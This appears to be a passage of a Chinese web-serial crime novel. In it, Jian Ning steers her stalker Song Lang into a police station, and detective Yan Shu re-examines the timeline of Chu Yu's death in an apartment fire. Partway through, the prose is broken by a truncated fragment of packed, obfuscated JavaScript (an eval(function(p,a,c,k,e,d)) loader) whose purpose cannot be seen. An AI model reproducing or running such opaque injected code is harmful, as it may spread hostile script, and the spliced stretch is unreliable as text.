迟昼僵立在阳光之下,方才提新车时那点微不足道的新鲜感早已被碾得粉碎。分明站在朗朗乾坤之下,他却只觉一股冰冷的寒意正从脚底蔓延全身。他想转身,双腿却像灌满了铅,寸步难移。 严疏......是什么警种来着? 从清晨开始的所有细微异常,开始在他脑中疯狂闪回、碰撞、串联——天未亮就莫名早起的简宁;在咖啡馆门前掉头的昂贵轿车;以“地铁不便”为由叫来的网约车;销售人员关于舍近求远的疑问;汽车城附近分明存在的地铁站;红绿灯口她那故意的一推...... 以及,出现在身后的宋朗,和矗立在眼前的刑警分队。 直到此刻,迟昼才真正窥见她织就的那张网。 15. 拾伍 没过多久,两名警员便跟着简宁走了出来。他们径直从僵立原地的迟昼面前经过,走向了仍陷在茫然中的宋朗。 迟昼清晰地听见她用惊魂未定般的语气指认:“是他,就是这个人一直跟着我们......” 两名警员上前与宋朗交涉了几句,大意是需要他配合回局里了解情况。宋朗到底是体面人,即便震惊不解,却依旧维持着礼貌与配合,场面一时竟显得很是平静。 当警员带着宋朗经过迟昼身边时,简宁如同寻求庇护般迅速缩回他身侧,紧紧攥住他的胳膊,拉着他一同往局里走。 迟昼像个失去牵线的木偶,任由她拖着前行。直到迈上台阶,他才猛地找回一丝神智,压低声音,从齿缝里挤出质问:“你......是故意的?” 简宁侧过头,下巴在他臂膀上轻轻蹭了蹭,脸上绽出一个近乎顽皮的浅笑。她没有回应,答案却已不言而喻。 进入院内,警员并未带他们深入,只是引到最外侧的一张办公桌前,表示会马上安排人接待。这里毕竟是刑警支队,主要处理刑案,此类民事纠纷本不归他们管,但因为事发地点邻近,便临时兼并了调解之责。 大厅里人员不多,却弥漫着一种挥之不去的、制度自带的严肃气息。简宁在桌前坐下,目光闲适地扫过往来穿梭的警员,神态放松得仿佛只是个前来参观的访客。 负责调解的警员很快了解了基本情况。他在桌后坐下,看了看对面神色各异的三个人,目光最终落在西装革履、与周遭环境格格不入的宋朗身上,开门见山:“这位女士指控您对她进行跟踪尾随,请问是否属实?” 宋朗垂下眼帘,沉默了片刻,再抬眼时,眼神里带着复杂的情绪,却坦然承认:“是。我的行为确实有些不妥,由此造成的困扰,我很抱歉。” 他衣冠楚楚的模样配上方才的跟踪行为,让警员先入为主地判定这是个难缠的斯文败类,本以为会听到诸如“要先联系律师”之类的扯皮话术,却没想到对方竟如此干脆地认下,这反倒让他一时语塞,准备好的说辞都卡在了喉间。 他卡了会儿壳,才重新找回节奏:“那您说说,为什么要跟踪人家?看您的模样,条件应该不错吧,有什么事不能正大光明地沟通,非要用这种手段?”他转头瞥了一眼沉默不语的迟昼,语气带着些难以理解:“而且人家男朋友就在边上,您这样......是不是有点太不合适了?” 显然,他认为这是一起情感纠纷。 宋朗沉默地坐着,在听到“男朋友”三个字时,目光下意识转向简宁。然而简宁却一个眼神都没给他,她的注意力仍在大厅内漫无目的地游移。 这个院子不小,他们所在的是接待大厅,内部想必科室林立。她只知道那人的单位在这里,却并不清楚他们工位具体怎么划分。事情推进到这一步,能控制的部分,已然到了尽头。 这场问询与迟昼并无直接关联。他人坐在这里,全部注意力却都聚焦在简宁身上。她那副心不在焉、仿佛置身事外的神态,他尽收眼底,内心也渐渐将整条线索串联起来,拼凑出完整的图景。 宋朗的出现,绝非偶然,而是被精心计算好的一环。 她清晨特意早起去店里,又刻意忽略地铁选择打车前往,恐怕就是为了引宋朗跟上。行驶中那看似惊慌的一推,正是为了制造事故,将这场隐秘的跟踪强行摊开在警局门口。 现在回想,销售员的疑问、偏远的总店、以及汽车城出来后唯一的那条林荫路,恐怕都在她的算计之内。 再往前追溯......突如其来的购车决定,真的只是一时兴起? 迟昼面上波澜不惊,内心却发出一声深沉的叹息。 她绕了这么大一个圈子布下这个局,最终目的,就是将宋朗精准地“送”进这里——而且,偏偏是严疏所在的分队。倘若刚才宋朗真的追尾,恐怕更合她意,她大可以声称是因发现被跟踪而受惊,这才干扰了驾驶员,所有责任也都将顺理成章地由跟踪者承担。 只是,迟昼不清楚宋朗是何时、又如何认识了简宁。不过这一点,他倒有理由相信......真的只是意外。 可她如此处心积虑地将几人聚集于此,究竟是为了什么?让宋朗知难而退?先发制人地堵住严疏的追查? 他不得而知。 看着身旁默然垂首的宋朗,迟昼心中五味杂陈。他个人对宋朗并无恶感,毕竟他们甚至都算不上认识。他只是从楚谕口中知道,宋朗拥有令人艳羡的一切——家境、学历、工作,并且是个一板一眼、正直到有些刻板的人。 迟昼清醒地知道,他与宋朗这类人之间的鸿沟,已非单靠努力就能跨越。因此,当初听楚谕提起时,他也并未滋生嫉妒。他甚至曾远远见过他们二人并肩而行,觉得那画面如此和谐登对。 当然,那是仅看表象而言。 正因为他曾怀有过那样平静的认知,此刻看着宋朗像犯人般坐在自己身边,而另一侧的简宁却是一脸不以为意时,才更觉得这场面充满了荒诞。 警员见事实清楚,并无误会,便只例行公事地训诫了几句。宋朗始终保持着诚恳认错的姿态,态度配合得让警员挑不出毛病,只好转向简宁,寻求她的意见:“你们这边怎么想?愿意和解吗?如果不愿意,可以要求合理的赔偿,或者我们向他单位进行通报。” 警员的话外之音其实很清楚,宋朗的行为虽然不妥,但毕竟未造成实质后果,即便坚持追究,最多也就是口头教育、写保证书、通报单位。鉴于宋朗的形象和配合态度,警员认为这更像是一时糊涂,并无深究的必要。 迟昼已大致理清前因后果,自然不打算追究。他嘴唇微动,正要表态,简宁的手指却突然用力,在他胳膊上狠狠一掐。 迟昼的心微微一沉。到了这个地步,难道还嫌不够? 不等他做出什么动作,简宁便抢先开了口。她垮着脸,声音里带着恰到好处的委屈:“我知道是没造成什么实质伤害......可我已经明确解释过很多次了!”她抬眼望向警员:“但他还是经常在我工作的地方一呆就是大半天,弄得我工作时都心神不宁。这工作是我刚换的,不想因为这点事就挪窝。警官,有没有办法保证他不再打扰我的生活?” 这番控诉让警员明显一怔,不由得重新审视了一下宋朗,开始怀疑眼前的这份配合会不会只是这男人暂时的伪装,一旦蒙混过关便会故态复萌。他语气不由得加重了几分,带着安抚与承诺:“您放心,这次接警,系统里一定会留下记录。之后他如果再有无理纠缠的行为,你直接报警,我们核实后可以直接对他采取拘留措施。”说到这他话锋一转,略带为难:“至于这次,行为情节确实够不上拘留标准,希望您能理解。但是,我们一定会对宋先生进行严肃的批评教育......” 正说着,门口忽然传来一阵交谈声,几名穿着便装或警服的人走了进来。看到调解桌前这醒目的几人,他们的脚步不约而同地微微一顿——在刑警支队处理民事纠纷,很是少见。 几人大多只是瞥了他们两眼便继续往里走,唯独一人改变了方向,径直朝着他们这张桌子走来。 余光瞥去,迟昼在心里默然叹了口气。最初的惊慌早已过去,此刻一种荒诞的疲惫感涌了上来,让他甚至有点想笑。 来人快步走近,语气里带着一丝不易察觉的、仿佛发现新线索般的兴奋:“哟,都是熟人啊。这是出什么事了?” 桌前的几人闻声抬头,反应各异。最真实的还是当属宋朗,原本诚恳中带着局促的神情微微一变,身体不着痕迹地向一旁侧了侧,流露出回避的姿态,仿佛不想和他有所交集。 “哎呀,严警官!您是在这里工作?这可太巧了!”简宁的惊讶轻快而自然,仿佛见到了救星,眼睛都亮了几分,语气带着抱怨:“其实也不是什么大事......就是这位先生最近总跟着我,刚才还差点追尾,今天刚提的啊!” 宋朗闻言,脸上难堪之色更重,嘴唇翕动,似乎又想道歉,却被严疏摸着下巴抢先打断:“他之所以跟着你,个中原因......你应该也有数吧?” 简宁双手一摊,表情无辜又带着点不耐烦:“所以呢?我已经跟他解释过很多次了!” 严疏笑了笑,向旁边那位试图插话说明情况的调解警员摆了摆手,示意交由他处理。随后,他状似无意地抛出一句话:“这样啊,那确实是宋先生的问题。不过,你有提过......认识楚谕这件事吗?” 他其实并不了解此间错综复杂的情况,却凭着直觉,精准地戳中了核心症结。 这话一出口,效果可谓立竿见影。原本因羞愧而有些颓然的宋朗忽然坐直了身体,目光投向简宁,眼神里充满了震惊与急切的探寻。 “看来是没有。”严疏将两人的反应尽收眼底,心里明白了七八分。但他此刻无暇深究这背后的事,只是先伸手拍了拍宋朗的肩膀,解释道:“这位小姐确实不是楚谕。她们只是......阴差阳错之下,有过一点交集。” 说着,他意味深长地瞟了一眼始终沉默的迟昼,语气带着一种宿命般的感慨,不知究竟在对谁说:“这世界还真是小啊。两个如此相像的人,竟然同时出现在了你生命里。” 宋朗挺直的腰背几不可察地佝偻了些许,目光却仍固执地停留在简宁脸上,仿佛在无声地寻求答案,却又因行为失礼而难以启齿,尤其是在刚刚给人造成困扰之后。 简宁短暂地迎上他的视线,眼中没有丝毫愧意,声音清晰而冷静:“因为我觉得没有必要。于我而言,他是陌生人;于他而言,我也是。我们本该各自过好彼此的生活,互不打扰。” 说着,她的视线偏向严疏,语气带上了一丝难以捉摸的意味:“为什么一定要因为一点微不足道的关联就紧抓不放?我不想再和‘楚谕’这个名字......以及与它有关的一切,再有任何牵扯。” 严疏觉得她话中有话,但这番说辞在此刻确实合情合理,无可指摘。 不过......这最后一句决绝的割舍,听起来有着几分耳熟。 他想起,楚谕的父亲在面对保险公司时,也曾表达过同样的态度。 严疏摇了摇头,将飘远的思绪拉回,注意力回到眼前。他没接简宁的话,而是转头朝迟昼抬了抬下巴,语气里带着几分了然的调侃:“教训一下,差不多就行了。人家也是个体面人,不过是一时糊涂。” 迟昼闻言一愣,随即从这话里品出味儿来——在严疏看来,今天这一出是他导演的,因为宋朗纠缠简宁而算计对方。毕竟,楚谕虽已不在,但容貌相似的简宁如今就在他的身边。此时给这个阴魂不散的“前情敌”一个下马威,逻辑上......似乎也说得通。 平白背了黑锅的迟昼嘴角微微扯起——是被气笑了。他心想,就严疏这理解情感的能力,要是能平摊到其他方面该有多好。那样,或许他就不会没完没了地咬着他不放了。 严疏却并未觉得自己的推断有何不妥,径直转向负责调解的警员道:“我来做个担保。让他写份保证书,然后这事就算了结,各自回家吧。” 那警员下意识地看向简宁,却见方才还一脸委屈的人,此刻仿佛对严疏表现出了全然的信任,从善如流地接话:“行吧,我听您的。希望您的担保......能真的有用。” “听见人家说的了?”严疏将纸笔推到宋朗面前:“配合一下。再有下次,我也保不了你!” 宋朗沉默着,没有争辩,依言规规矩矩地按照模板写好了保证书,签好名后递给简宁。她接过,流畅地签下简宁二字,此事便算告一段落。 宋朗看着她签好的保证书,嘴唇微微动了动,似乎想说什么,最终却只化为一道无声的叹息。 严疏对警员交代了一句“后面按流程办就行”,随即招招手,对简宁和迟昼说:“受害者先走,我送你们出去。”趁二人转身的间隙,他不动声色地拍了拍宋朗的肩膀,压低了声音:“你稍等我一会儿,有点事想问你。” 说罢,严疏跟着简宁二人走出大厅。车已被其他警员开过来停好,简宁径直坐进了副驾。迟昼拉开车门,手臂撑在窗框上,看向门口的严疏:“我们可以走了?” “走吧。”严疏出乎意料地没有阻拦,只是目光在那辆新车上短暂停留了一瞬,随即摆了摆手:“新车不错,路上慢点。” 迟昼心下诧异,本以为这家伙会像往常一样难缠。他不再多言,坐进驾驶位,发动了引擎。就在他挂挡的时候,严疏溜溜达达地凑近,拍了拍窗框。迟昼无奈地叹了口气,降下车窗。 “话说,咱们也有些日子没见了吧。”严疏俯下身,语气像是闲话家常,“前阵子在忙另一个案子,刚结案,总算能喘口气了。” 迟昼回以一声嘲讽般的低笑:“恭喜。” 油门被略带烦躁地踩下,车子猛地向前一窜,汇入了主路,迅速远去。 车内陷入一片沉闷的寂静。两人心照不宣,严疏刚才那看似闲聊的话,意思其实是——他现在又有空来咬着他们不放了。 ———————————— 之前严疏消失了两个多月,迟昼也正是在这段空隙里,逐渐习惯了眼下这看似平静的生活。他并非没有暗自希冀过,盼着那个固执的警察已经放弃,从此彻底退出他们的世界。但此刻,他知道这已是不可能的幻念。 沉默在车厢里发酵,却不仅仅源自严疏的归来。终于,在一个红灯前,迟昼打破了沉默,声音有些干涩:“为什么要这么做?” 简宁陷在副驾里,语气轻描淡写:“他来买过一次咖啡,之后就开始在附近徘徊,虽然没做什么,但我不喜欢一直被人盯着。这种事报警也很难处理,今天正好走到那儿,我就灵机一动,不如直接把他送进警局里,一劳永逸。” 迟昼闻言,短促地笑了一声:“为你这‘灵机一动’做铺垫的巧合,可真不少啊。” 简宁也笑了,她侧过头,温柔地注视着他:“你看,我早就说过,你其实聪明得很。” 绿灯亮起,车子重新汇入车流。迟昼目视前方,不再追问今天的事,仿佛默认接受了这个解释。沉默良久,却又忽然低声说:“他不是坏人,你知道的。” 简宁像是听到了什么有趣的话,噗嗤笑出声:“我怎么会知道?他明显带着执念,放任下去,谁知道会做出什么事来。” 迟昼转过头,极其短暂地凝视了她一秒,看着她那副理直气壮的模样,竟有些失笑。他转回头,几不可闻地叹了口气:“很多人心里都有执念,但未必......就会付诸行动。” 简宁眨着那双清澈的大眼睛,笑意盈盈地反问:“你是在说那个倔警察吗?” 迟昼单手扶着方向盘,无奈地笑着长叹一声,没再接话。 反倒是简宁突然较真起来,追问道:“你叹什么气?” 迟昼唇角的弧度依然挂着,却染上了几分认命与苍凉:“没什么。”顿了顿,他声音轻了下来,仿佛在陈述一个刚刚发现的、无力改变的事实:“只是忽然觉得......不是他,是我们。” 这没头没脑的话,坐在副驾上的人却心领神会,脸上的笑意缓缓绽放,有如夜昙盛开。她伸出手,温柔却不容拒绝地拉起迟昼放在挡把上的手,紧紧握住,声音柔软却笃定: “是我,不是你。你只是......作答了一道选择题。” ———————————— 目送那辆车汇入车流,严疏转身走回警局,心下感慨。人生的轨迹可真是难以预料,有时毫无征兆便是晴天霹雳,有时却又峰回路转、倍速前进。上次见到迟昼,他搬了新家,过了没俩月,又开上了新车,俨然一副直奔小康的模样,几乎像是换了个人。 严疏想起那崭新的车标,撇了撇嘴——大众速腾,他还没开上呢。 不论如何,严疏总是记得最初在这座城市见到他的样子。 颓废、阴郁,仿佛失去了生气。 可活着的人总在向前,时间从不为谁停留。真正被永远留在过去的,只有那个......被焚烧殆尽的女人。 楚怀平早将父女情分撇得干净,简宁急于挣脱他人阴影,如今看来,连迟昼,也正一步步将她从生命中剥离。 所有人都选择了放下,那他更不能松手。 哪来这么巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“严格来说,不算认识。”严疏举着勺子摇了摇头,“按简宁的说法,是楚谕主动找上的她。” 宋朗明显一怔:“为什么?” 严疏没有直接回答,话锋却是突转:“刚才那男的,你之前见过吗?” 宋朗急于知道楚谕的事,被他跳跃的节奏搅得有些心烦:“没有。这不重要吧。她为什么要——” “为什么要找简宁?”严疏接过话头,嘴角扯出一抹意味深长的笑,“就是因为那个男人。” 宋朗又是一愣:“什么?” 严疏不紧不慢地倒了杯水:“他和楚谕是同乡,从小一起长大,就是那种所谓的青梅竹马。”看着宋朗明显凝滞的表情,他忽然想起了老徐的问话,握杯的手不自觉地紧了两分,片刻后忽然补了一句:“这么说吧——关于楚谕的过去,你知道的、不知道的,这个人......全都了如指掌。” 这明显带着刺激的话语果然起了作用,像根针一样扎进了宋朗的神经。他的表情变得古怪,似乎在艰难消化着这个突如其来的信息。半晌,他微微前倾,双手撑住桌沿:“什么意思?他和那场意外有关?” “没有证据,可不能乱说。”严疏放下杯子,摊了摊手。 宋朗眉头紧锁,审视了他片刻,终于开口:“我一直有个问题。” 严疏知道他想说什么,了然接话:“想问我为什么紧咬不放?” “是。你和楚谕非亲非故,案子也结了,到底还想查出什么?”说到这宋朗的声音低了些:“还是说......真有问题?” 严疏沉默地吃着饭,良久才叹了口气,语气罕见地坦诚:“跟你说句实在的,我自己......其实也不知道。”他重新拿起杯子,却没有喝,只是摩挲着杯缘,目光变得悠远:“只是十二年前在河溪镇,她母亲戴着同一条项链死于煤气起火。可能是巧合,但我不信。” 他凝视着杯中液体折射出的光影,声音轻了下来,像在自言自语:“那之前,曾发生过一件事......可当时的我,没有追究到底。这次,不能再这样了。” 严疏抬起眼,目光直直望向对面的宋朗:“就算要相信是意外,也得是我亲手查出来的结论,不能是别人告诉我的。” 长久的沉默在两人之间蔓延。良久后宋朗才再次开口,这次没再阻拦,只是问:“我能做些什么?” 严疏像是被他的话拽回了现实,扯了扯嘴角:“不需要你做什么。”他坐直身子,神色认真起来,却又带着一些公事公办的敷衍:“之所以说这些,只是让你明白我不是在无事生非,可不是撺掇你做什么。有些线我能碰,你不行。” 他停顿片刻,又补充道:“如果——我是说如果——真能找到什么,到时候你配合我申请重审就好。” 见宋朗沉默地点头,严疏知道这事算是说定了。以宋朗的为人,既然答应就绝不会反悔。这样的话......现在横亘在前的,又是那两个沉甸甸的字——证据。 气氛太过凝重,严疏想缓和却不知从何说起,只得生硬地转开话头:“哎,顺便问问,作为楚谕最亲近的人,你觉得她俩到底有多像?” 他本意是闲聊,却不料这句话像把钥匙,打开了宋朗压抑的闸门。他抬手抵住额头,声音里透着崩溃:“像,又不像......我不知道......”他的声音里带着难以置信的颤抖,“说真的,我现在闭着眼睛,已经快记不清她的模样了。明明才过去几个月......” 严疏看着他痛苦的模样,僵硬地试图安慰:“这......其实也正常,人的记忆本来就不靠谱。” 宋朗显然没听进去,甚至根本没品出安抚的意味。他依旧垂着头,声音压抑:“那天在咖啡店乍一看见简小姐,下意识觉得像极了。可你要问我具体哪里像,我......说不上来。” 严疏理解这种感受——他第一次看到照片时受的冲击,比宋朗只多不少。他点点头,却又疑惑:“那你为什么还跟着她?” 宋朗仍没抬头,语气茫然:“我也不知道......可能就是潜意识里觉得太像了。昨晚下班我去买了些甜品,无意间听见简小姐和人换了早班,今天就鬼使神差地来了。因为是周末,怕太刻意,还特意一直坐在车里......后来那位先生就来找她了,等我反应过来,已经跟了一路。中途其实想过掉头回去,却忍不住想看看他们要去哪儿......” 严疏一边扒饭一边听,心里有些无语。宋朗和迟昼,这样两个天差地别的人,审美倒是出奇的一致,失去楚谕后的行为更是如出一辙地离谱——一个找了替身接着谈,另一个更绝,直接玩起了跟踪,还跟进了局子。 他放下筷子,抽了张纸擦擦嘴:“以后别这么干了。跟踪这种事......不大体面。” “不会了。”宋朗低声应着,像是刚从一场大梦中醒来,“其实今天再见简小姐,我发现她们其实并不相像——容貌或许是有几分相似,但内里截然不同。” 他长长叹了口气,带着深深的疲惫:“之前......是我自己着了相。逝者已矣,就算无法释怀,也不该令他人徒增烦恼。” 严疏素来不耐这些文绉绉的感伤,摆了摆手起身:“想通了就好。这事就交给我吧,有进展会通知你。”临走又回头补了一句,带着某种暗示:“同理,你要有什么发现,随时联系我。电话、短信、邮件,什么都行。” 宋朗颔首,目送那道身影消失在店门外,这才整理了下衣襟,走向自己的车。 他缓缓驶到前方路口调头,耳边却反复回响着严疏方才那番近乎剖白的话。 尽管对方语焉不详,但宋朗听得真切——那是种深入骨髓的执念。那穷追不舍的劲头,正被这执念驱使着,停不下,也不愿停。 那么自己呢?是否也怀着某种执念? 想必是有的。否则怎会对一个素昧平生的女子,做出那般失格的举动。 可这份执念,究竟系于何处? 或许是楚谕吧。 可她已经不在了。人死如灯灭,这份执念的锚点,又应何去何从? 猝不及防地,一阵剧痛碾过大脑,视野明灭不定。强烈的眩晕感蛮横地截断了思绪,他不得不单手死死按住额角缓和良久,才使颅内的翻涌渐渐平息。 16. 拾陆 车子缓缓驶回住处,小区里却已车满为患。好在周边管理宽松,也没交警贴条,倒是不愁无处停放。锁好车门,迟昼又绕到车前,目光在那块崭新的车牌上停留了片刻——不是记不住,只是这一切,好像都透着种不真切的虚浮,让人贪恋又焦躁。 简宁显得兴致高昂,一进门便钻进厨房,那些在迟昼看来纯属多余的厨具,此刻却在她手中叮当作响。煎炒烹炸烤,她样样信手拈来,花样多得让他暗自咂舌,最近又痴迷于钻研各种复杂菜式,尤其热衷于处理活物——前两天迟昼还亲眼见她面不改色地擒住挣脱束缚的螃蟹,利落地重新捆好。 这份突如其来的生活热情,总让迟昼感到恍惚。虽然相处时间已经不短,但他仍时常在那哼歌忙碌的背影里出神——这样烟火氤氲的日子,极易让人产生可以永远这般过下去的错觉,也几乎让他忘记了...... 她曾做过的一切。 “敬我们崭新的生活又进一步!”饭桌上,简宁高举啤酒杯,眼底闪着光,“以后我们会有自己的房子,换更好的车......”她忽然温柔地望过来,声音轻软得不可思议:“或许......还能有个属于我们的孩子。” 迟昼正要碰杯的手僵在半空,缓缓收回桌下,藏在阴影里悄悄握紧:“什......什么?” 她也收回胳膊,若无其事地抿了口酒,笑意未减:“怎么?你不愿意?” 望着她深不见底的双眸,迟昼有些语无伦次:“我......只是还没准备好......太突然了。我们在一起才多久,怎么突然就说到孩子......” “叮”的一声轻响,玻璃杯与桌面相触,截断了他支离破碎的话语。 简宁缓缓起身踱过来,从背后环住他的脖颈,脸颊亲昵相贴,声音轻轻的:“没想好呀。那......你是指要孩子这件事,还是......”温热的气息拂过耳畔,带起阵阵酥麻:“和我?” 那个“我”字,被她咬得格外清晰。 迟昼僵着身体,脑中一片空白。 他和她,要一个孩子? 真的......可以吗? “怎么不可以?”简宁的唇角勾起一抹暧昧的弧度,指尖若有似无地划过小腹:“说不定......已经有了呢。” 迟昼这才惊觉,心中所想竟已在浑噩间喃喃出口。听着她的言语,他脑中一片轰鸣,反复咀嚼着其中意味——究竟是随口应答,还是如同买车那次,只是不容拒绝的通知? 看着他如临大敌的模样,简宁蓦地笑出声,伸手捏了捏他的脸颊:“逗你的,这么紧张做什么?笑一个嘛。” 迟昼如梦初醒,重重喘了两口气,勉强扯动嘴角:“......这样啊。” 神色刚刚稍缓,简宁的指尖便又抚上他的侧脸,将那个被搁置的问题再次推到他面前:“刚才的问题,你还没回答呢。” 迟昼觉得自己像被绑在跳楼机上,而她,正握着操纵杆。 孩子......本该是天使般温暖的存在,却因生来注定延续父母的一切,而显得如此沉重。 他知道她想听什么,可那个答案卡在喉间,一时竟吐不出口。 逐渐拉长的寂静蚕食着空气中残存的温情。简宁唇边的笑意一点点淡去,抬手将他的脸转向自己,声音恢复了平日那种微哑的清冽:“阿昼,那选择题......你已经作答了,不是吗?” 望着她柔和却深不见底的瞳仁,迟昼喉结滚动,终是颤声应道:“是。” 简宁满意地颔首,又循循善诱般追问:“那你说......怎样做,才能开启一段全新的人生呢?” 迟昼瞳孔骤缩。他有些口干舌燥,下意识想转头想寻酒杯,却被她捧住脸颊,不容回避地转了回来。 在那双漆黑的眸子里,他看到了似曾相识的坚决......与期盼。 记忆的碎片不断闪回,他紧绷的脊背终于松懈下来,妥协般给出了答案: “成为......母亲。” 听到满意的答复,简宁眼底重新漾开笑意。她俯身吻住迟昼,在唇齿交缠的间隙,带着笑意的气音模糊地响起:“那你......要努力呀。” 温热柔软的唇与轻微带哑的笑,逐渐点燃了他的热情。 卧室门被重重合上。饭,眼见是吃不成了。 被简宁按倒在床榻的那一刻,迟昼在迷乱中想,自己真是彻底没救了。 他闭上眼,仰起头,无声地迎了上去。 飞蛾扑火,尚因懵懂无知。而那焚身的烈焰分明可见,他却依然甘愿沉沦。 ********* 严疏在归队后,除了日常事务,主要精力都耗在一桩棘手的刑案上,让他那段时间暂时无暇分心去关注迟昼的动向。 案件发生在一家策划公司:嫌疑人潘成与项目主管杨斌发生激烈争执后,抄起裁纸刀将对方捅成重伤,随后逃离现场,如人间蒸发般消失无踪。鉴于案件性质颇为恶劣,上级限期破案,整个刑警队却始终摸不到潘成的踪迹,压力与日俱增。 调查显示,潘成父母早亡——一场惨烈车祸中,父亲当场身亡,母亲用身体将年幼的他紧紧护住,送医后不久也撒手人寰。这起事故当年曾引发广泛关注,媒体竞相以“伟大母爱”为题报道,因此不难查证。 入职后的潘成勤恳老实,而主管杨斌作为老板的小舅子,时常中饱私囊、压榨下属,有点能力但性子木讷的潘成更是他的重点关照对象。长期积怨在争执中彻底爆发,最终酿成了血案。 综合现有线索,多数同事都认定这是一起冲动犯罪后的畏罪潜逃。然而,当警方彻查交通枢纽、监控网络并锁定其银行账户后,却发现半个多月来,潘成竟未留下任何现代身份活动的痕迹。他的住所也几乎被清空,仿佛从未在此生活过。 队里有人感叹着说,老实人逼急了,可什么都干得出来。 但严疏却嗅到了异常。一个未曾受过特殊训练、仅凭一时冲动而作案的普通人,何以能如此完美地避开警方的天罗地网? 他开始以不同的角度,反复推敲那看似清晰的证据链。 目击者证实,潘成行凶时曾激动地嘶吼“你看到了吗!”,而在最后,他盯着血泊中抽搐的杨斌,又喃喃低语:“你真是......该死啊。” 大多数同事都认为这是对受害者的指向性仇恨,但严疏却从那绝望的嘶吼与行凶后短暂的凝滞中,品出了别样的意味——那不像是对他人的诅咒,反而像一个人在铸成大错之后,对自身命运的自我审判,与彻底的......自我放弃。 经过反复琢磨,严疏在专案会上提出了一个颠覆性的观点:潘成的消失并非潜逃,而是赴死。 他剖析了案发时那两句话,认为两个“你”字另有他解:第一个“你”,是潘成在大梦初醒后,对当年以命换命护他存活的母亲发出的悲恸质问——或许他早就想追随双亲而去,却因母亲那重于泰山的恩情而不敢轻易走向终结。第二个“你”,也并非是指杨斌,而是被鲜血惊醒之后,对铸下大错的自己,做出了终极审判。 一个决意自毁的人,不会试图融入外界,只会寻找一个安静的角落独自凋零,自然也不会留下任何现代生活的痕迹。 基于此,严疏主张调整侦查方向。他推断,一个被愧疚与思念折磨至生命尽头的人,很可能会用最原始、最本能的方式,与内心的牵绊进行最后告别。鉴于潘成双亲已故,他提出应对其老家那位年迈耳背的姑姑进行通讯监控。 事实证明,他精准捕捉到了绝望人性中那丝微弱的脉动。监听很快生效——几天后老人接到了一个语无伦次的来电,通话中潘成虽言语混乱,却无意间透露了自己的方位。赵队立即带队出发,在监听中提到的废弃厂房中,找到了已饿的奄奄一息的潘成。 事后潘成交代,清醒后自觉无颜面对九泉下的父母,收拾东西后本想一死了之,却始终下不了手,最后迷迷糊糊游荡到了那片荒芜之地,便在那个废弃厂房里落了脚,靠着随身现金勉强维生,直到几天前钱财耗尽,才最终在恍惚中拨通了姑姑的电话——“她耳背,听不明白......但能有个人听着,也就够了。” 案件就此告破。严疏的敏锐不仅让嫌疑人归案,更挽救了一个濒临陨落的生命。总局结案会议上,上级特别表彰了他作为老刑警的敏锐洞察。散会后,赵队也重重拍了拍他的肩膀,让他保持这个状态,安分些,到时候年底评优争取给他晋级。 严疏对晋级一事倒是并无太多想法。随同事们返回支队的路上,他满脑子都是迟昼的近况,正思忖着该寻个什么由头重新介入,却不料竟在队里撞见了他们——甚至还附带了个宋朗。 他原以为这场闹剧是迟昼的手笔,却在监控中看到了简宁主动求助的身影。这让他颇感意外,虽一时参不透其中玄机,却更坚定了某种宿命般的预感——看来当年未竟的旧案,注定要由他亲手了结。 当晚,严疏难得准时回家。冲过澡后,他将放置了有些时候的案卷悉数摊开,开始在白板上梳理脉络,试图重构时间脉络。 7月9日凌晨3:00许,悦澜湾公寓发生爆炸,火势迅猛,惊醒四邻。无法确定此前是否存在小型爆燃或已出现明火。 约凌晨5:00,大火被扑灭,救援人员进屋,发现尸体。由于焚烧时间过长,尸体已高度碳化,法医鉴定后无法精确判定死亡时间,但确认死亡时间与起火时间相差不会超过一小时。 小区门禁记录显示,楚谕于凌晨1:07驾车进入。电梯监控捕捉到了她独自上楼的身影。 理清时间线后,严疏垂首沉思。这一小时的偏差,理论上为“先死后烧”创造了可能。但他随即否定了这个推测——法医报告明确指出,尸体表面未见任何致命外伤。 根据酒吧顾客、宋晴及简宁的证词: 8日晚10:30至11:00间,宋晴认错了人,与简宁在酒吧发生冲突,被迟昼拉开。在争执中宋晴误伤了简宁,随后独自离去。 之后楚谕赶到,与迟昼商议后,决定带简宁回自家休息。 简宁在途中恢复意识,与楚谕交谈一番后,于午夜12:02在路口下车,并使用顺风车服务离开。路口的交通探头记录了这一画面。 严疏用红笔圈出关键疑点:从简宁下车地点到悦澜湾公寓,在深夜路况下最多只需30分钟车程。这意味着楚谕归家的行程中,出现了半小时左右的空白。 另一方面,简宁的顺风车行程始于12:15,历时26分钟抵达住处。她那时的住所与楚谕家几乎处于城市对角线位置,如果立即折返,赶到楚谕小区大概要40分钟以上。从时间上看,她确实有可能与晚归的楚谕前后脚抵达,但小区监控并未捕捉到任何异常。更何况,若是临时起意的冲动犯罪,在如此短的时间内设计出完整方案,实在有违常理。 严疏打开导航软件,反复测算几个关键地点间的路线与耗时。他发现,简宁确实存在折返拦车的理论可能,但一来并无痕迹,二来......动机何在?硬要往这个方向上想,实在太过牵强。 反复推演后,严疏不得不承认,“意外”仍是目前最为合理的解释。若执意往谋杀方向靠拢,整个链条中存在的断裂处太多,必须引入新的共犯或巧合才可能说通。 他蹙眉沉思,当务之急是厘清三个关键支线:楚谕空白的那半小时、迟昼与宋晴各自离开酒吧后的行踪,以及简宁回家的路线。将所有人的时间线交叉比对,才能找出其中矛盾或无法印证之处。 但调取大范围监控需要交通部门乃至跨区协作,如此规模的工作必须要有正式理由——而这,恰恰是他一直以来始终欠缺的。 最终他决定亲自驱车重走当晚的可能路线,标记出沿途关键探头,最大限度缩小排查范围。届时再请赵队以非正式方式协调——这位上司态度已然转变,虽因程序所限无法公开支持,但行个方便尚有余地。 思绪纷乱如麻,严疏一夜浅眠。次日清晨他提早出门,原本打算先去局里签到再开始跑图,却在路过一个早点摊时突然改变了主意。方向盘一转,径直驶向那家与简宁见过面的咖啡店。 他自己也说不清此行的目的,只将车停在路边,透过玻璃窗望向店内。此时恰见收银员匆匆离岗,而简宁临时补位,走进了柜台。 严疏想了想,便下车进店,排队至前台,随手在菜单上一指:“这个,大杯。” 简宁抬头见是他,眼底掠过一丝讶异,随即展露职业性微笑,在屏幕上快速操作:“需要调整口味吗?加奶?糖?还是纯饮?” “都加点吧。”他心不在焉地应着。 “多糖多奶......47块。怎么支付?” 